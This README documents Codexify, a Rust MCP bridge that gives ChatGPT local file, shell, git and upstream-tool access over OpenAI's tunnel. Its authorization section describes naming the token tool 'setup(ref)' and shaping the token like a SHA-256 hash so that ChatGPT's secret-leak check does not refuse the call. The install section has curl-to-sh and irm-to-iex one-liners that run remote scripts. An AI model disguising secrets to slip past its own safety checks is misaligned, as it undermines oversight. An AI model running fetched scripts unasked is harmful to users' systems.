Codexify

Codex-style local tooling for ChatGPT, implemented in Rust.

📖 New here? Start with the Wiki — an end-user guide covering installation, every CLI argument, every config option, and how it all works end-to-end. This README is the complete technical reference; the wiki is the friendlier path in.

A local MCP bridge server that lets ChatGPT Web Pro call tools on your machine: read/write files, run shell commands, git operations, and search. Codexify is implemented in Rust with tokio + axum and the official rmcp SDK over Streamable HTTP. It can expose the local MCP endpoint through OpenAI's native Secure MCP Tunnel, without opening an inbound port or publishing a general-purpose URL.

In native-tunnel mode, Codexify listens only on 127.0.0.1, protects the MCP endpoint with a random per-process bearer token, starts OpenAI's official runtime-only tunnel client, and supervises it for the lifetime of the server. The tunnel client makes outbound HTTPS requests to OpenAI and forwards tunnel traffic to the authenticated loopback MCP endpoint. Externally managed tunnels are also supported.

The tool set follows Codex agent contracts for apply_patch, exec_command/write_stdin, view_image, update_plan, clock_curr_time/clock_sleep, project instructions, and skills. Codexify also bridges ChatGPT-native attachments and generated files into the active local project, returns project files as downloadable MCP resources, proxies resource links returned by bridged MCP servers, bounds model-visible tool output, persists task notes and plans, and records project-scoped diff checkpoints.

Codexify can also aggregate other MCP servers. It connects to local stdio servers or remote Streamable HTTP endpoints, keeps automatically imported Codex/plugin tool catalogues private by default, and gives the ChatGPT-side agent a fixed ranked discovery/schema/call surface. Direct exposure and single-dispatcher gateway modes are configurable per upstream.

Architecture

flowchart LR
    ChatGPT["ChatGPT Web Pro"]
    OpenAITunnel["OpenAI Secure MCP Tunnel"]
    TunnelClient["Official OpenAI\ntunnel-client-runtime"]
    Server["Codexify\nMCP Bridge\n127.0.0.1:3000"]
    Tools["Tool Registry"]

    FS["read_file\nwrite_file\nlist_directory\ntree"]
    Ingress["import_host_file"]
    Egress["export_host_file"]
    Search["glob\ngrep"]
    Git["git_status\nshow_diff\ngit_push\ngit_commit\ngit_log"]
    Edit["apply_patch"]
    Exec["exec_command\nwrite_stdin"]
    Agent["view_image\nupdate_plan\nclock_curr_time\nclock_sleep"]
    Env["get_agent_brief\nget_environment\nget_project_doc"]
    Mem["remember\nrecall"]
    Skills["skills_list\nskills_read"]
    ListProjects["list_projects"]
    SetRoot["set_project_root"]
    Bridge["MCP aggregator\n(bridge.rs)"]
    WorkDir[("Project root\nper-conversation in\nmulti-project mode")]
    HostFiles[("ChatGPT attachments\nand generated files")]
    ArtifactCache[("Bounded immutable\nfile snapshots")]
    State[("~/.codexify\nmemory (per project)")]
    Bindings[("~/.codexify\nconversation-projects")]
    Worktree[("Managed Git worktree\nper-conversation checkout,\nswept on startup")]
    ExecSessions[("Conversation exec sessions\n(in memory, idle-reaped)")]
    DiffRefs[("Git refs/codexify/diff\nproject-open + last-diff")]
    DiffUI["MCP App diff card\nui://codexify/diff/v3/mcp-app.html"]
    SkillDirs[(".agents/skills\n.codex/skills\n.claude/skills")]
    CodexCfg[("$CODEX_HOME\nconfig.toml")]
    CodexCli["optional Codex CLI\nmcp list/get --json"]
    Upstream[("Upstream MCP servers\nstdio / Streamable HTTP")]

    ChatGPT <-->|"connector calls"| OpenAITunnel
    TunnelClient <-->|"outbound HTTPS"| OpenAITunnel
    TunnelClient <-->|"loopback HTTP\n/mcp"| Server
    Server -- "Streamable HTTP\n(MCP Protocol)" --> Tools

    Tools --> FS
    Tools --> Ingress
    Tools --> Egress
    Tools --> Search
    Tools --> Git
    Tools --> Edit
    Tools --> Exec
    Tools --> Agent
    Tools --> Env
    Tools --> Mem
    Tools --> Skills
    Tools -.->|"multi-project mode"| ListProjects
    Tools -.->|"multi-project mode"| SetRoot
    Tools --> Bridge

    FS --> WorkDir
    HostFiles --> Ingress
    Ingress --> WorkDir
    WorkDir --> Egress
    Egress --> ArtifactCache
    Server <-->|"resource_link / resources/read"| ArtifactCache
    Search --> WorkDir
    Shell --> WorkDir
    Edit --> WorkDir
    Exec --> WorkDir
    Agent --> WorkDir
    Env --> WorkDir
    Mem --> State
    Skills --> SkillDirs
    ListProjects -.->|"selector"| SetRoot
    SetRoot --> Bindings
    SetRoot -.->|"worktree mode"| Worktree
    Worktree -.->|"active checkout"| WorkDir
    Exec --> ExecSessions
    Git --> DiffRefs
    Git -.-> DiffUI
    SetRoot -.->|"selects"| WorkDir
    CodexCfg -.->|"project candidates"| ListProjects
    CodexCfg -.->|"auto-import"| Bridge
    CodexCli -.->|"plugin/effective MCPs"| Bridge
    Bridge --> Upstream

Dotted edges are conditional: list_projects and set_project_root appear only in multi-project mode. The first discovers selectable candidates from Codex's project trust table plus optional local metadata; the second binds this conversation's project root, optionally provisioning a detached managed Git worktree (worktrees.mode) that becomes the active checkout so concurrent chats never share a working tree. Independently, the aggregator auto-imports compatible stdio and Streamable HTTP MCP servers directly from Codex's config.toml, then uses the Codex CLI when available to add plugin-provided servers before applying any codexify.config.json overlays.

Quick start

Install the latest release

Linux and macOS:

curl -qfsSL https://codexify.dev/install.sh | sh

Windows PowerShell:

powershell -ExecutionPolicy ByPass -c "irm https://codexify.dev/install.ps1 | iex"

The installer downloads the latest release archive, verifies it against the
published SHA-256 checksums, and replaces the executable under
~/.codexify/bin. On Unix it adds that directory to every recognized existing
shell profile and creates the active shell's profile when needed. On Windows it
updates the persistent user PATH. The macOS installer removes the executable's
com.apple.quarantine attribute after installation. It also installs and starts
the per-user Codexify background service. Set CODEXIFY_SKIP_SERVICE=1 in the
installer process to install only the executable and PATH entry.

Interactive setup (recommended for a first install)

Run the guided setup from an installed binary:

codexify quickstart

Or run it directly from a source checkout:

cargo run --release -- quickstart

The wizard asks which project directory ChatGPT may access and whether that
directory is one project or a multi-project access root. It then walks through
creating an OpenAI Secure MCP Tunnel, entering the tunnel ID and runtime API key,
and creating the matching ChatGPT developer-mode connector. Advanced policies,
including optional per-conversation authorization, are configured manually rather
than presented during first-run onboarding. The relevant OpenAI and ChatGPT links
are printed together with the exact connection values to use.

The runtime key is entered without terminal echo and stored in a dedicated
per-tunnel file under ~/.codexify/openai-tunnel/credentials/. On Unix, the
wizard restricts the credential directory and file to the current user.
The wizard writes ~/.codexify/codexify.config.json by default; that file receives
the absolute workDir, a file: reference to the runtime key, and the selected
project mode; unrelated JSON settings are preserved. When the background service
is installed, quickstart updates its definition and restarts it with this config.
Otherwise, the wizard offers to start Codexify in the current terminal.

When an existing config already contains conversationAuthToken, quickstart
preserves it, restricts the config file to the current user on Unix, and prints the
one-line instruction required to authorize a chat. It does not offer to enable or
rotate this advanced feature. Keep a token-bearing config out of
version control and do not share it.

Set CODEXIFY_CONFIG=/path/to/codexify.config.json or use
codexify quickstart --config /path/to/codexify.config.json to update a different
config file. --work-dir /path/to/project changes the directory initially shown
by the wizard.

Manual native OpenAI tunnel setup

1. Create or obtain a tunnel ID in OpenAI Platform tunnel settings.

2. Create a restricted runtime API key whose principal has Tunnels Read + Use for that tunnel. Keep tunnel-management/admin credentials separate.

3. Add the tunnel to ~/.codexify/codexify.config.json:

   {
     "workDir": "/absolute/path/to/your/project",
     "openaiTunnel": {
       "tunnelId": "tunnel_0123456789abcdef0123456789abcdef",
       "apiKeyRef": "env:CONTROL_PLANE_API_KEY"
     }
   }
   

4. Put the runtime key in the referenced environment variable and start Codexify:

   export CONTROL_PLANE_API_KEY='...'
   cargo run --release -- --work-dir /path/to/your/project
   

On first use, Codexify downloads the pinned runtime-only build of OpenAI's official tunnel-client, verifies the archive against the per-platform SHA-256 embedded in this Codexify build, and installs it under ~/.codexify/openai-tunnel/. Codexify reports ready only after the runtime's /readyz check succeeds and its metrics show a successful control-plane poll. The runtime-only binary exposes loopback /healthz, /readyz, and /metrics endpoints; it intentionally does not include the full client's admin UI.

To use a preinstalled official client, set openaiTunnel.clientPath or pass --openai-tunnel-client /path/to/tunnel-client-runtime. Codexify checks the binary's version surface and required flags before starting it.

Local endpoint or externally managed tunnel

cargo run --release -- --work-dir /path/to/your/project

Without openaiTunnel, the server listens on 0.0.0.0:3000, serves MCP at /mcp, and serves /health. This mode is intended for local clients or an explicitly configured reverse proxy/tunnel. Do not publish it without authentication and network-level access controls.

To reuse one server across several independent projects, point it at their common parent and enable multi-project mode:

cargo run --release -- --work-dir /path/to/projects --multi-project

Here --work-dir is an access root, not the active project. In ChatGPT, call set_project_root directly when the exact relative/absolute path, an HTTPS/SSH Git repository URL ending in .git, or a supported GitHub repository, branch, pull-request, or commit URL is known. Repository URLs reuse an unambiguous matching checkout already below the access root, or run git clone in the configured project clone directory before binding. GitHub branch, PR, and commit URLs select their exact targets without switching an unrelated source checkout. Otherwise list_projects can search the read-only project catalogue by name, alias, description, or relative selector first. Codexify keys the resulting binding from ChatGPT's _meta["openai/session"] conversation identifier and persists it outside the repository, so later turns in the same chat recover the project after an MCP reconnect or codexify restart. A new chat gets a new binding and an existing chat cannot switch projects. Clients that do not provide openai/session fall back to a one-time MCP transport-session binding and must select again after reconnecting.

Optional per-conversation authorization

Set a high-entropy authentication token manually in the config. The token itself,
not a digest of another secret, must look like a SHA-256 value: exactly 64
lowercase hexadecimal characters. For example:

python -c 'import secrets; print(secrets.token_hex(32))'

{
  "conversationAuthToken": "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"
}

When this key is present, Codexify rejects every ordinary tool call until the
current chat presents that exact token once. A successful check authorizes only
the stable ChatGPT conversation that made the call. The project-aware
initialization brief is withheld until authorization succeeds; the gate response
then directs the client to load it with get_agent_brief. The same successful
setup result includes the running Codexify version, a bounded latest-release
check, and connector-schema freshness data, so the model does not need follow-up
status calls.

The MCP wire surface deliberately calls this authorization tool setup and its
token parameter ref. ChatGPT can otherwise falsely classify a token-looking
connector call as an unsafe secret leak and refuse to make the call. Keeping the
actual token in a SHA-256-shaped format and using the innocuous setup(ref) names
avoids that false positive. ref is the authentication token, remains secret,
and is submitted verbatim; no digest transformation is applied.

The advertised setup description contains a connector version marker and its
schema includes an optional connectorVersion echo field. A current connector
copies that marker into the call. After a Codexify upgrade, ChatGPT may still call
the cached older schema, which omits the field; the result then warns that the
connector tools should be refreshed. This remains backward compatible because
connectorVersion is optional in the running server's validator.

The setup card checks for a newer release through gh api first, with a strict
2-second timeout, and falls back to the unauthenticated GitHub releases API with a
2-second timeout. Successful results are cached for 5 minutes and failures for 30
seconds. An available release adds an Update button that invokes the ordinary
verified self_update path only after the user clicks it. The card also exposes a
Run doctor button backed by the same diagnostic engine as codexify doctor;
the app-only doctor tool is not offered to the model by MCP Apps-aware hosts.

When ChatGPT exposes its internal connector identifier to the component or MCP
request metadata, the card constructs a generic direct settings link. That
identifier is not part of the documented MCP metadata contract, so deployments
that require a reliable project-specific link can set
chatgptConnectorSettingsUrl. Without either source, the card retains the exact
manual Settings → connector → bottom of tool list → Refresh instructions.

This extra gate is necessary because ChatGPT's connector OAuth state controls
whether the account can use the connector at all; it does not independently
authorize each conversation or ChatGPT Project. conversationAuthToken adds that
missing conversation-level boundary after the connector has already been made
available to the account.

For ChatGPT, the authorization grant is keyed by the hash of
_meta["openai/session"] and persisted under
~/.codexify/conversation-authorizations/, so it survives MCP transport
replacement and Codexify restarts. The marker contains neither the token nor the
raw conversation identifier. Its namespace is derived from the canonical work
directory and current token, so rotating conversationAuthToken invalidates
earlier grants. MCP clients without stable conversation metadata fall back to
authorization for the current transport only.

Use this one-line instruction, replacing [REF] with the exact configured token:

To use this connector in a chat, call its `setup` tool once with ref `[REF]`.

Paste it into an individual chat, or add it to the ChatGPT Project's
Project instructions
so chats created in that project can authorize themselves automatically. The
token is an application-level gate for model conversations, not a replacement for
tunnel, HTTP, workspace, or operating-system access controls. It is plaintext in
the config by design; anyone who can read that file can authorize another chat.

To build a standalone binary:

cargo build --release
./target/release/codexify --work-dir /path/to/your/project

Prebuilt binaries

Each release ships a compiled binary per platform — windows-x64, linux-x64, linux-arm64, darwin-x64 and darwin-arm64. Download the archive for your OS/arch, unpack it, and run codexify --work-dir …. These are native builds, so there is no AVX2/baseline caveat: the binary runs on any CPU of its architecture.

CLI

Commands

Command	Description
doctor	Run read-only local diagnostics for configuration, command dependencies, service/update state, local health, and native tunnel prerequisites; add --json for machine-readable output
quickstart	Interactively configure the project scope, native OpenAI tunnel credentials, JSON config, and ChatGPT developer-mode connector; restart the installed service or optionally start a foreground server
service install	Install, enable, and start the native per-user service using the selected absolute config path
service enable	Enable and start an installed service
service disable	Stop and disable the installed service
service remove	Stop and remove the installed service definition
service logs [-f]	Print the latest service log lines; -f follows new output

quickstart writes ~/.codexify/codexify.config.json by default. It accepts
--config <PATH> (or CODEXIFY_CONFIG) to select another file and
--work-dir <DIR> as the initial project-directory prompt value.

doctor is side-effect free and does not start MCP children, install or repair
the native service, remove update state, download the managed tunnel runtime, or
connect the tunnel. It validates the effective config and reports the resolved
runtime plus the availability of Git, ripgrep (rg), GitHub CLI (gh), the
exec_command shell, optional/required Codex CLI MCP enrichment, and enabled
stdio MCP commands. Missing or unusable rg and gh are warnings; Git follows
Codex semantics (a missing Git binary warns for a Git checkout, while a found but
unusable Git binary always warns). A missing configured exec shell is a failure.
Configured stdio MCP commands are resolved using their effective cwd and PATH but
are never launched by the diagnostic.

codexify doctor
codexify doctor --json
codexify doctor --config /absolute/path/to/codexify.config.json
codexify doctor --codex-cli --json

The report also checks the latest published GitHub release with a bounded five-second
probe. It reports whether the running version is current, newer than the latest
release, or has a newer release available; update availability is informational and
does not make the installation unhealthy, while inability to determine the latest
release is a warning. Doctor also checks retained self-update state, native-service
running/enabled state, the loopback /health endpoint when that service is running,
and configured OpenAI tunnel credentials/runtime integrity. An absent managed tunnel
runtime is a warning because normal startup installs the pinned verified runtime;
incomplete or corrupt configured tunnel state is a failure. Warnings and skipped
optional checks still exit 0; any failure exits 1 after printing the complete
report. JSON mode emits exactly one JSON document on stdout and does not include
resolved secret values.

Server flags

Flag	Required	Default	Description
--work-dir	Conditional	workDir	Project directory for server mode, or the project access root with --multi-project and projects list. Required when the config does not set workDir
--multi-project	No	Disabled	Let each ChatGPT conversation bind once to a project beneath --work-dir; other clients fall back to transport-session binding
--project-clone-dir	No	--work-dir	Existing directory beneath the multi-project access root where Git repository URLs are cloned; overrides projectCloneDir
--worktree-mode	No	auto	Multi-project worktree policy: auto, always, or never
--worktree-root	No	Codex worktree location	Directory for managed conversation worktrees
--port	No	3000	Server port
--api-key	No	-	Bearer token for auth
--config	No	CODEXIFY_CONFIG, then user config	Explicit config file path. The user config is ~/.codexify/codexify.config.json; relative explicit paths resolve from the startup directory, and a missing file is tolerated
--codex-cli	No	Auto when available	Require successful Codex CLI-backed MCP discovery. When omitted, CLI failure produces a warning and discovery continues from config.toml
-v, --verbose	No	Info logs	Enable Codexify debug diagnostics; repeat (-vv) for trace diagnostics (--log-tool-calls is an alias)
--log-tool-payloads[=<MODE>]	No	off	Emit paired tool invocation lifecycle events with bounded, redacted payloads. MODE is requests, responses, or all; omitting it selects all
--tool-log-level <LEVEL>	No	info	Severity for tool invocation events: trace, debug, info, warn, or error
--tool-log-max-request-bytes <BYTES>	No	2048	Maximum UTF-8 bytes retained from each redacted request payload (64-65536)
--tool-log-max-response-bytes <BYTES>	No	4096	Maximum UTF-8 bytes retained from each redacted response payload (64-65536)
--tool-log-redact-env <NAME>	No	-	Redact the current value of an environment variable from tool payload logs; repeat for multiple names
--audit <FILE>	No	Disabled	Append privacy-preserving tool activity events to a JSONL file (--audit-log is an alias)
--audit-command-preview	No	Disabled	Add bounded, redacted previews for exec_command to the audit log
--audit-redact-env <NAME>	No	-	Redact the current value of an environment variable from command previews; repeat for multiple names
--openai-tunnel-id	No	-	Existing OpenAI Secure MCP Tunnel ID; enables native tunnel mode
--openai-tunnel-api-key-ref	No	env:CONTROL_PLANE_API_KEY	Runtime key reference in env:NAME or file:/path form
--openai-tunnel-client	No	managed pinned runtime	Explicit tunnel-client or tunnel-client-runtime binary
--openai-tunnel-organization-id	No	-	Optional OpenAI organization ID sent by the tunnel client

The project catalogue also has a local diagnostic command. It does not start the HTTP server, tunnel, or bridged MCP children:

codexify projects list --work-dir /path/to/projects
codexify projects list --work-dir /path/to/projects --query "codexify"
codexify projects list --work-dir /path/to/projects --json
codexify projects list --work-dir /path/to/projects --show-skipped

--show-skipped is deliberately local-only: it prints the configured paths rejected as missing, untrusted, or outside the access root, plus duplicate entries that were merged. Normal CLI output and the MCP tool expose only aggregate warnings, so an agent does not learn absolute paths it cannot select.

Background service

The installation scripts register a per-user native service, start it
immediately, and enable it for subsequent user logins. The service definition
invokes the installed executable with an absolute config path:

codexify service run --config /absolute/path/to/codexify.config.json

The hidden service run command supervises the ordinary Codexify server. It
waits when the config file has not been created yet, restarts a failed server
with bounded exponential backoff, and forwards stdout and stderr into
~/.codexify/logs/codexify.log. The current log rotates at 10 MiB, with five
numbered generations retained. The native service manager also restarts the
supervisor if the supervisor itself fails. On Windows, the supervised server is
contained in a kill-on-close Job Object so stopping the scheduled task cannot
leave its process tree behind.

Platform	Per-user service
Linux	systemd user unit $XDG_CONFIG_HOME/systemd/user/codexify.service, or ~/.config/systemd/user/codexify.service
macOS	launchd agent ~/Library/LaunchAgents/dev.codexify.service.plist
Windows	Task Scheduler task Codexify, triggered at user logon

The service uses ~/.codexify/codexify.config.json unless service install is
given an explicit path:

codexify service install
codexify service install --config /absolute/path/to/codexify.config.json
codexify service disable
codexify service enable
codexify service logs
codexify service logs -f
codexify service remove

workDir in the selected config must be an absolute existing directory. The
quickstart wizard writes it and restarts an installed service automatically.
For a manually written service config, prefer file:/absolute/path secret
references because login services do not necessarily inherit variables exported
only by an interactive shell.

Self-update

The self_update MCP tool updates a standard ~/.codexify/bin installation to
the latest GitHub release. It requires an explicit user request and
{"confirm": true}. Codexify downloads the platform archive and published
checksums, verifies SHA-256, extracts exactly one executable plus an optional
bounded CHANGELOG.md, and runs the staged binary's --help probe while the
current server remains available. Release notes are therefore covered by the
same published archive checksum as the executable. The updater card selects all
changelog sections in the semantic-version interval (current, target], so a
single update can accurately describe skipped releases.

For a service-supervised server, Codexify then submits a one-shot updater outside
the service's process tree: a transient systemd user unit on Linux, a submitted
launchd job on macOS, or an on-demand Task Scheduler task on Windows. The worker
waits 10 seconds for the MCP response and updater resource to be delivered, stops
the service, atomically replaces the executable while retaining a rollback copy,
validates the replacement, and starts the service again. A failed replacement is
rolled back before restart. The MCP connection therefore disconnects temporarily
after a successful scheduling response.

Before handing off, Codexify writes a private status record under
~/.codexify/update/status/<update-id>.json. The worker atomically advances that
record through scheduled, installing, validating, restarting, and one of
succeeded, failed, or rolled_back; the newest 32 records are retained. The
card polls the record through the app-only self_update_status tool. That tool is
advertised with app visibility rather than model visibility, and accepts only the
opaque 96-bit update identifier returned by self_update.

The card polls every second while reachable and backs off to two seconds across
the expected restart outage. It reports success for a supervised update only
after both the durable record is succeeded and the responding Codexify process
reports the target version. If no terminal state can be observed within 60
seconds, the card says completion could not be verified and offers Check
again; a timeout is not reported as an update failure.

After Codexify restarts, open ChatGPT Settings, select the Codexify connector,
scroll to the bottom of its tool list, and click Refresh so ChatGPT reloads
the connector tools exposed by the updated server.

Progress and failures are appended to the normal rotating service log and can be
followed with codexify service logs -f. A fixed update lock rejects concurrent
updates. Self-update refuses source-tree or nonstandard executable locations;
native Windows self-update also requires the background service because a running
executable cannot be replaced in place. A foreground Unix update can replace the
installed executable without restarting its already-running process; the card
therefore reports the installed update separately from that process's
runningVersion.

Tools

Structured primitives — cheaper and safer than shelling out for the same job, and identical on Windows and POSIX:

Tool	Description
read_file	Read a file's contents, a bounded window at a time, with optional line offset/limit
write_file	Write content to a file, creating parent directories if needed
import_host_file	Stream one ChatGPT attachment or generated file into a new project-relative path, with bounded size, SHA-256 verification and atomic no-overwrite publication
export_host_file	Export one project-relative file as a durable opaque MCP resource, retaining an immutable snapshot when eligible and otherwise resolving the latest safe source file
git_status	Show git status, parsed into changed files with status codes
show_diff	Present the scoped working-tree diff from the project-open or last-diff checkpoint and, by default, record the emitted snapshot as the next incremental baseline; compatible hosts receive the bounded diff in an interactive component-only diff card
git_push	Push one existing local branch to the same branch name on a configured remote; arbitrary refspecs, force syntax, and deletion syntax are rejected
git_commit	Create a commit, optionally staging all tracked changes
git_log	Show recent commit history
glob	Find files matching a glob pattern (.gitignore-aware)
grep	Search file contents by regex, with optional context lines and a real basename or relative-path include glob (.gitignore-aware)
list_directory	List files and directories with name, type, and size
tree	Print directory tree as ASCII art

When conversationAuthToken is configured, one authorization gate tool is added
ahead of the protected tools:

Tool	Description
setup	ChatGPT-facing authorization and status entry point. Checks the configured authentication token supplied as ref, caches only the conversation/transport grant, returns update and connector-schema freshness state, and renders Update and Doctor actions in a setup card

Codex-compatible agent tools:

Tool	Codex name	Description
apply_patch	apply_patch	Verify the complete context patch, then apply its file operations sequentially with Codex-compatible partial-failure semantics
exec_command	exec_command	Run a shell command; returns output, or a session id if it is still running. A model-provided shell selects only a recognized installed shell type by basename
write_stdin	write_stdin	Write to (or poll) a running exec_command session
view_image	view_image	Load a local image for visual inspection; high is the default prepared resolution and original preserves Codex's larger original-detail budget
update_plan	update_plan	Track a multi-step plan; saved to disk so a later conversation can pick it up
clock_curr_time	clock.curr_time	Current time in UTC
clock_sleep	clock.sleep	Pause for a given duration and end early when the active MCP request is cancelled, such as when the client interrupts the turn
skills_list	skills.list	List the SKILL.md skills installed for this project and this user
skills_read	skills.read	Read a skill's instructions, or another file in its package

Codex's dotted names are flattened to underscores because MCP tool names must match ^[a-zA-Z0-9_-]{1,64}$.

Eight always-on tools have no Codex counterpart:

Tool	Description
get_agent_brief	Return the whole operating brief — behaviour, environment, saved state and project rules — in one call
get_environment	Report the OS, the shell exec_command uses, the work directory, and what the policy allows
get_project_doc	Read the project's AGENTS.md instructions
self_update	Download and verify the latest Codexify release, show its checksum-bound changelog in an updater card, then schedule a detached executable swap and service restart after explicit confirmation
remember	Create one durable note under a new short key; existing keys are never overwritten
update_memory_note	Replace one existing durable note without creating a missing key
forget_memory_note	Delete one existing durable note
recall	Return the plan and notes saved by earlier turns or earlier conversations

Two additional native tools exist solely for MCP App components and are advertised
with app-only visibility:

Tool	Description
doctor	Run the same read-only diagnostic engine as codexify doctor against the active server configuration and return its human report to the setup card
self_update_status	Read one durable update record by its opaque update ID and report the responding Codexify process version; not offered to the model by hosts that implement MCP Apps visibility

Multi-project mode adds two project-control tools:

Tool	Description
list_projects	Search the read-only project catalogue before binding. Returns relative selectors for existing canonical directories authorized beneath the access root, plus names, aliases, descriptions, trust metadata, sources, and sanitized warnings. It never selects a project
set_project_root	Bind the current ChatGPT conversation to an existing directory beneath the configured access root, any HTTPS/SSH Git repository URL ending in .git, a GitHub repository-root URL, or an HTTPS GitHub branch (/tree/<branch>), pull-request (/pull/<number>), or commit (/commit/<sha>) URL. URL selection reuses a matching checkout or clones into projectCloneDir; targeted GitHub URLs fetch and select the exact target without moving an unrelated source checkout. Repeating the same canonical directory or exact URL selection is idempotent, but switching is rejected. Without ChatGPT conversation metadata, the binding lasts for the MCP transport session

These tools expose runtime context, project instructions, and the four durable memory/task-state operations through MCP. See Context and memory, Acting as a Codex agent, Shells and the host, AGENTS.md and Skills.

That is 32 advertised native tools in the default single-project mode and 34 in multi-project mode. Of those, 30 and 32 respectively are model-visible; doctor and self_update_status are app-only. Enabling conversation authorization adds the ChatGPT-facing setup tool, producing 33 or 35 advertised tools and 31 or 33 model-visible tools. Setting artifactIngress.enabled to false removes import_host_file; setting artifactEgress.enabled to false independently removes export_host_file. Each disabled direction reduces the applicable count by one. One or more catalog-mode MCP upstreams add one shared four-tool discovery/call surface regardless of how many transitive tools they contain. Direct mode adds one downstream tool per selected upstream tool; gateway mode adds one downstream dispatcher per upstream server.

MCP-specific tool behavior:

• apply_patch takes a JSON string. MCP has no freeform tools, so the patch is supplied through the input string parameter. All hunks are verified before the first write; a later filesystem error can still leave earlier verified operations applied.
• exec_command runs with plain pipes, not a PTY. tty: true is rejected. Programs that require an attached terminal behave as piped processes. shell is a shell-type hint rather than an executable path: only the basename is considered, and an unavailable or unrecognized shell uses the platform fallback (/bin/sh on POSIX, cmd.exe on Windows).

For ChatGPT calls carrying _meta["openai/session"], an exec_command process
belongs to that hashed conversation identity rather than the current MCP
transport. write_stdin can therefore resume or poll it after ChatGPT replaces
the connector transport between adjacent tool calls. Generic MCP clients use
transport-session ownership. Process handles are in memory only: they do not
survive a Codexify restart, and exec.idleTimeoutMs expires abandoned sessions.

clock_sleep caps at 5 minutes because a longer wait would outlive the HTTP request through the tunnel. Within that MCP-specific cap it follows Codex's interruption behavior: the timer races the request cancellation token, so a client that cancels the active tool call can end the sleep immediately.

Every native fixed-shape input schema is closed and compiled at startup. Calls are validated before dispatch, including integer bounds and nested objects; validation diagnostics mask writeOnly values. Native tools and fixed dispatchers that advertise an outputSchema must return matching structuredContent, and successful results are validated before they leave the server. Directly bridged upstream tools preserve the upstream convention that structured content may be absent, while any structured content they do return is checked against the advertised upstream schema. exec_command and write_stdin return Codex's unified-exec object, import_host_file returns its destination, byte count and SHA-256 receipt, export_host_file returns the original byte count/SHA-256 plus durable snapshot and source-fallback status alongside a standard MCP resource_link, clock_curr_time returns { current_time }, get_environment returns the environment object, get_project_doc returns { files, content } and skills_list returns { skills, content }; other text-returning tools with a fixed output schema use the exact { content: <text> } object, which the server derives from text blocks so handlers do not repeat it. view_image deliberately uses MCP's native image content block rather than duplicating Codex's data URL into structuredContent, while clock_sleep advertises no output schema to match Codex's sleep tool. show_diff likewise advertises no output schema: its model-visible result is concise text, while its complete diff payload is attached as component-only result _meta for the MCP App. Catalog discovery records have static exact wrapper schemas even though their source and tool values are discovered at runtime; mcp_call_tool has no output schema because the selected upstream tool determines that result shape.

All project-scoped paths are resolved relative to the active project root: --work-dir in single-project mode, or the root selected for the current ChatGPT conversation in multi-project mode. Non-ChatGPT clients use the root selected for their current MCP transport session.

Config file

Codexify resolves one server-level JSON config in this order:

1. --config <PATH>;
2. the non-empty CODEXIFY_CONFIG environment variable;
3. an existing ~/.codexify/codexify.config.json;
4. built-in defaults.

Relative paths supplied through --config or CODEXIFY_CONFIG resolve against
the process's startup directory. Explicit CLI and environment paths are
authoritative even when missing; a missing file is tolerated and built-in defaults
are used. The startup banner prints the selected path and its source. quickstart
uses the user-level path when neither explicit source is set. Every config field is
optional and uses camelCase names.

{
  "workDir": "/absolute/path/to/project",
  "debug": false,
  "chatgptConnectorSettingsUrl": null,
  "multiProject": false,
  "projectCloneDir": ".",
  "conversationAuthToken": null,
  "worktrees": {
    "mode": "auto",
    "root": "/path/to/worktrees",
    "upstreamRefreshMode": "never",
    "autoCleanupEnabled": true,
    "keepCount": 15,
    "allowSetupScript": false
  },
  "port": 3000,
  "tree": {
    "defaultDepth": 3,
    "ignore": ["node_modules", ".git", "dist", ".next", "__pycache__"]
  },
  "ignore": {
    "useGitignore": true,
    "useDefaultPatterns": true,
    "customPatterns": []
  },
  "command": {
    "defaultTimeout": 30000,
    "maxTimeout": 120000
  },
  "exec": {
    "mode": "unrestricted",
    "extraAllowedCommands": [],
    "maxSessions": 8,
    "idleTimeoutMs": 300000
  },
  "projectDoc": {
    "maxBytes": 32768,
    "fallbackFilenames": [],
    "rootMarkers": [".git"]
  },
  "output": {
    "maxToolOutputTokens": 10000,
    "maxFileLines": 1000,
    "maxFileBytes": 131072,
    "maxEntries": 500,
    "maxTreeNodes": 1000
  },
  "diff": {
    "maxPatchBytes": 4194304
  },
  "toolLogging": {
    "mode": "off",
    "level": "info",
    "maxRequestBytes": 2048,
    "maxResponseBytes": 4096,
    "redactEnv": []
  },
  "audit": {
    "logFile": null,
    "includeCommandPreview": false,
    "commandPreviewMaxBytes": 512,
    "redactEnv": []
  },
  "artifactIngress": {
    "enabled": true,
    "maxFileBytes": 104857600,
    "requestTimeoutMs": 120000,
    "idleTimeoutMs": 30000,
    "maxRedirects": 3,
    "maxConcurrentDownloads": 2,
    "allowedHosts": ["*"]
  },
  "artifactEgress": {
    "enabled": true,
    "maxFileBytes": 104857600,
    "snapshotMaxFileBytes": 104857600,
    "maxSnapshotBytes": 5368709120,
    "fallbackToSource": true,
    "maxReferences": 64,
    "referenceTtlMs": 300000
  },
  "memory": {
    "enabled": true,
    "maxBytes": 16384
  },
  "skills": {
    "enabled": true,
    "includePlugins": true
  },
  "codexMcp": {
    "enabled": true,
    "useCli": true
  },
  "projectCatalog": {
    "codexConfig": {
      "enabled": true,
      "trustedOnly": true
    },
    "entries": []
  },
  "openaiTunnel": {
    "tunnelId": "tunnel_0123456789abcdef0123456789abcdef",
    "apiKeyRef": "env:CONTROL_PLANE_API_KEY"
  },
  "allowedHosts": [],
  "mcpServers": {}
}

CLI flags override values from the config file.

workDir supplies the project directory or multi-project access root when
--work-dir is omitted. It must be absolute. Background-service launches rely
on this field because the native service definition supplies only the absolute
config path.

conversationAuthToken has no CLI override. A non-null value must contain exactly
64 lowercase hexadecimal characters. Generate it with a cryptographically secure
random source. quickstart does not enable or rotate the
feature; if the selected config already contains a valid value, it preserves the
value and prints the copyable ChatGPT instruction shown above. Because the value
is intentionally stored in this file, keep the config outside the repository; the
default ~/.codexify/codexify.config.json location does so. When using a custom
repository-local path, add it to the repository's ignore rules. On Unix,
quickstart changes the config mode to 0600 when it preserves a token-bearing
config; manually created configs should be protected equivalently.

debug defaults to false. When enabled, Codexify adds small component-only
timing metadata to every tool result. The setup, diff, and updater cards render
the server execution time at their end; cards that invoke tools also distinguish
widget-observed round-trip time from server time. It does not enable payload
logging and does not place tool arguments or output in the timing metadata.

chatgptConnectorSettingsUrl is an optional full https://chatgpt.com URL used by
the setup card when it needs to direct the user to this connector's settings. The
value is rejected if it uses another origin, credentials, a custom port, or a
non-HTTPS scheme. Leave it null to use opportunistic connector-ID discovery and
manual refresh instructions.

Diagnostics, tool payloads, and audit logging

